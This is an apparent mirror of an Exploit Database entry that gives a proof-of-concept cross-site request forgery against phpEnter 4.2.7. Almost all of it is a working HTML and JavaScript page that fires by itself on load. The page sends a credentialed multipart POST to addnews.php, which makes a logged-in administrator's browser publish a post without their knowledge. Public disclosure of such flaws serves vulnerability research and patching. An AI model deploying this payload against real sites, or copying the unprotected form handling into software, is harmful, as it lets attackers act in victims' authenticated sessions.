phpEnter 4.2.7 – Cross-Site Request Forgery (Add New Post)

Exploit Database
108 阅读

作者： Besim

日期： 2016-10-11
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/40496/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

<!--

# Exploit Title :PHP Enter 4.2.7 - Cross-Site Request Forgery(Add New Post)

# Author :Besim

# Google Dork : -

# Date : 11/10/2016

# Type : webapps

# Platform :PHP

# Vendor Homepage : http://www.phpenter.net

# Software link :http://www.hotscripts.com/listings/jump/download/150217

########################### CSRF PoC ###############################

-->

<html>

<body>

<script>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://site_name/path/addnews.php", true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------4485886114928592041224662482");

xhr.withCredentials = true;

var body = "-----------------------------4485886114928592041224662482\r\n" +

"Content-Disposition: form-data; name=\"univer\"\r\n" +

"\r\n" +

"2016074155\r\n" +

"-----------------------------4485886114928592041224662482\r\n" +

"Content-Disposition: form-data; name=\"idblog\"\r\n" +

"\r\n" +

"1\r\n" +

"-----------------------------4485886114928592041224662482\r\n" +

"Content-Disposition: form-data; name=\"usercc\"\r\n" +

"\r\n" +

"root\r\n" +

"-----------------------------4485886114928592041224662482\r\n" +

"Content-Disposition: form-data; name=\"editor\"\r\n" +

"\r\n" +

"1\r\n" +

"-----------------------------4485886114928592041224662482\r\n" +

"Content-Disposition: form-data; name=\"badress\"\r\n" +

"\r\n" +

"0\r\n" +

"-----------------------------4485886114928592041224662482\r\n" +

"Content-Disposition: form-data; name=\"bname\"\r\n" +

"\r\n" +

"Test\r\n" +

"-----------------------------4485886114928592041224662482\r\n" +

"Content-Disposition: form-data; name=\"summary\"\r\n" +

"\r\n" +

"Test\r\n" +

"-----------------------------4485886114928592041224662482\r\n" +

"Content-Disposition: form-data; name=\"image\"; filename=\"\"\r\n" +

"Content-Type: application/octet-stream\r\n" +

"\r\n" +

"\r\n" +

"-----------------------------4485886114928592041224662482\r\n" +

"Content-Disposition: form-data; name=\"main\"\r\n" +

"\r\n" +

"0\r\n" +

"-----------------------------4485886114928592041224662482\r\n" +

"Content-Disposition: form-data; name=\"amess\"\r\n" +

"\r\n" +

"\x3cp\x3eTestttt\x3c/p\x3e\r\n" +

"-----------------------------4485886114928592041224662482\r\n" +

"Content-Disposition: form-data; name=\"query\"\r\n" +

"\r\n" +

"Submit\r\n" +

"-----------------------------4485886114928592041224662482--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

submitRequest();

</script>

<form action="#">

<input type="button" value="Submit request" onclick="submitRequest();" />

</form>

</body>

</html>